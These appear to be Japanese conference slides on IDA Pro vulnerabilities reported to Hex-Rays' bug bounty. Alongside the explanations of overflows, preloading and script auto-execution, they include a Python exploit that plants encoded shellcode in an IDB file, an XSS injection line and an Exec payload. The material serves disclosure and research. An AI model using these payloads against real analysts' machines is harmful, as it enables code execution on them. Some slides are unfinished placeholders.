idaの脆弱性とbug bounty by 千田 雅明
DESCRIPTION
IDA Proとは、高機能な逆アセンブラソフトウェアで、主に脆弱性調査やマルウェアの解析・分析に利用されている。 IDA Proはソフトウェアの詳細な動作を解析するためにものであり、もし脆弱性により利用者が攻撃された場合には、 裁判の結果に影響を及ぼすなどの社会的に大きな影響を及ぼすこともあるとも考えられる。 本講演では、見つかった脆弱性の解説、脆弱性を利用する攻撃のデモ、そしてHex-rays社側の対策内容やHex-rays社とのやり取りについて解説する。 http://codeblue.jp/speaker.html#MasaakiChidaTRANSCRIPT
IDAの脆弱性とBug Bounty
千田雅明
プロフィール
! セキュリティエンジニア
! リバースエンジニアリングが趣味
! sutegoma2として様々なCTFに参加
IDAとは? ! 高機能逆アセンブラ
! マルウェアなどを静的解析する際に利用するソフトウェア
! Hex-raysのBug Bounty Program ! 3000 USDの報奨金 ! IDAとHex-rays Decompilerのリモート攻撃が対象 ! 2011年2月頃から開始 ! 2014年1月までに11回支払われている
https://www.hex-rays.com/bugbounty.shtml
調査方法
! IDAで解析 ! IDA Main Program (for windows) ! Loader Modules ! Processor Modules ! Plugins
! SDK付属のプラグインのソースを読む
! 実行プロセスの動作を監視 ! Sysinternals Tools: Procmon
データの入出力関数の調査 ! Data Read & Copy
! read, lread, eread, qread, qlread, qfread, ! memcpy, strcpy, strncpy, qstrncpy, …
! IDB Database ! get_long, get_byte, ger_many_bytes, ! netnode_getblob, netnode_altval, netnode_supval, ! unpack_dd, unpack_ds, unpack_dw, …
! Heap Allocation ! malloc, calloc, realloc ! qalloc, qcalloc, qrelloc ! qvecto_reserve
スクリプトやコマンド実行関数の調査
! IDC Script ! CompileEx, CompileLineEx ! str2ea, calcexpr, calcexpr_long, calc_idc_expr, ! Eval, ExecIDC, Execute File, Execute Line,…
! コマンド実行 ! call_system ! system, CrateProcess,…
発見したIDAの脆弱性一覧 ! Heap Overflow => 多数 ! Stack Overflow => 2個 ! DLL, Script Preloading => 多数 ! Path Traversal => 数個 ! IDCスクリプトの自動実行 ! デバッガーの自動実行
! ※賞金を得ていないものを含む
Integer Overflowの脆弱性 ! 問題点
! ほぼ全てのモジュールが対象 ! Integer Overflowの対策が皆無 ! qcallocなどの関数内でも対策がない
多くのモジュールでBuffer Overflowにより、悪意のあるコードを実行されてしまう可能性があった
void *__cdecl qcalloc(size_t nitems, size_t itemsize) { void *result; // eax@2 void *v3; // ebx@3 if ( (signed int)(itemsize * nitems) > 0 ) { v3 = calloc(itemsize * nitems, 1u);
整数符号エラーの脆弱性
! 問題点 ! AIF Loader Moduleが対象 ! セクション名を解析時にStack Buffer Overflowが起こる
Stack Buffer Overflowにより、悪意のあるコードを実行されてしまう可能性があった
Classic Buffer Overflowの脆弱性 ! 問題点
! CLI Processor Moduleが対象 ! バイナリをHexの文字列に変換する処理にStack Buffer
Overflow
! [TODO]
Classic Buffer Overflowの脆弱性 ! 特殊なコードの書き込みが必要 ! /GSでコンパイル済み ! スタックへ書き込む際にhexに変換される
! sprintf(“%02X”, buf[i])
! [TODO]
Classic Buffer Overflowの脆弱性 from idaapi import *
from struct import *
a = 0x5874768A-0x24
b = 0x5874764A-0x14
shellcode="htIIGX5tIIGHWPPPSRPPafhExfXf5YrfPDfhS3DTY09fhpzfXf5rRfPDTY01fRDfhpQDTY09fh3NfXf50rfPfharfXf5dsfPDTY09hBzPKX5ceLJPDfhptDfh9tDTY01fh6OfXf5jAfPDTY09hinEufhKWDfhkdfXf5WcfPfhnLfXf5g2fPDTY09fhgRDTY01fhQBfhdtfXf5QXfPDfhlHDTY09fhaefXf57jfPDfh5PfXf5lVfPDTY09h7YqoX5RFUnPDfhjLDfhttDTY09fh8wfXf5PvfPDTY09h3YIXX54FiYPDfhatDfhgtDTY01fh7xDfh8pfXf5dofPfhitDTY09fhlzfXf53FfPfhYtDTY09fhGSfXf59KfPfhWtDTY01fhG0DfhRtTYf19fh3ZfXf55VfPDfhnvDfh5tDTY01fh6tfXf5FxfPDfhRvDfhJtDTY09fhr0fhCtDTY01hJRVdDfhlKfXf5MRfPDTY09fhUvDTY09fhmwDfhB4fXf5xhfPhdohchshinfhUifXf5C5fPDhehwshhystfhYjfXf5I6fPDhhm32hcalchexehfhTHfXf54ffPDfhRhfhKifXf5YDfPDTY09fhU1DRVWRTFfVNfhjsfXf5ErfPVUafhrWfYf1Lo9f1To9TXLLLrH"
payload=""
payload+=("1"*8)+(pack("II",a,b)*(9334/8-1))+("\x55"*6)
payload+=shellcode
payload+=("1"*((len(shellcode)&4)+10-(len(shellcode)%4)))+(pack("II",a,b)*(16000/8))
node_id=netnode("$ cli").altval(0x0C000014,'o')
netnode(node_id).setblob(payload,0,'o')
Path Traversalの脆弱性 ! 問題点
! tilファイル内に含まれるファイル名をそのまま結合していた
[TODO]
HTML Injectionの脆弱性 ! 問題点
! 解析結果をHTMLで保存した際にHTML Injection可能 ! get_root_filename関数で得られる実行ファイル名をエスケープしていなかった
作成されたHTMLファイルを開いた場合に、XSSの可能性があった
from idaapi import * netnode("RootNode").set("</title><scritp>alert('XSS');</script>") save_database() fp = ecreateT("report.html") gen_file(OFILE_LST, fp, 0, 0, GENFLG_GENHTML) eclose(fp)
Preloadingの脆弱性 ! 問題点
! 読み込んだIDBファイルと同じディレクトリから、DLL, IDC Script, Python Scriptをロードしてしまう ! ida.idc, userload.idc ! windbg.exe, dbghelp.dll, dbgeng.dll, … ! idautils.py, idc.py, idaapi.py, …
意図していないファイルを読み込んでしまい、悪意のあるコードが実行される可能性があった
IDC Scirpt自動実行の脆弱性 ! 問題点
! str2ea関数内で暗黙的にIDC Scriptを実行 ! str2ea関数は各種イベント時に利用されている
! デバッガの実行時 ! Hintの表示時
IDBファイルをロード時に悪意のあるIDC Scriptを実行される可能性があった
str2ea
calcexpr_long
calc_idc_expr
CompileLineEx
Run
str2eaを利用した攻撃 ! IDAのHint表示の動作
! 1. カーソル下の行の文字列を得る ! 2. extract_nameに渡す ! 3. str2ea関数に渡す
! extract_name関数 ! ida.cfg内のNameCharsに一致する文字列を返す
! NameChars ! .net Processor Moduleの場合に”()”などの制御文字が入る
関数呼び出しを成立させる文字列がstr2ea関数に渡る
str2ea(“Exec(char(0x63)+char(0x61)+char(0x6C)+char0x63)”)
Debugger自動実行の脆弱性 ! 問題点
! デバッガを自動起動 ! メモリダンプから作ったIDBファイルをロード時
! デバッガイベントを自動評価 ! 各種Event Condition ! Watch Point View
IDBファイルをロード時に悪意のあるIDC Scriptが実行される可能性があった
Demonstration
まとめ
! 見つけやすい脆弱性が多数残っていた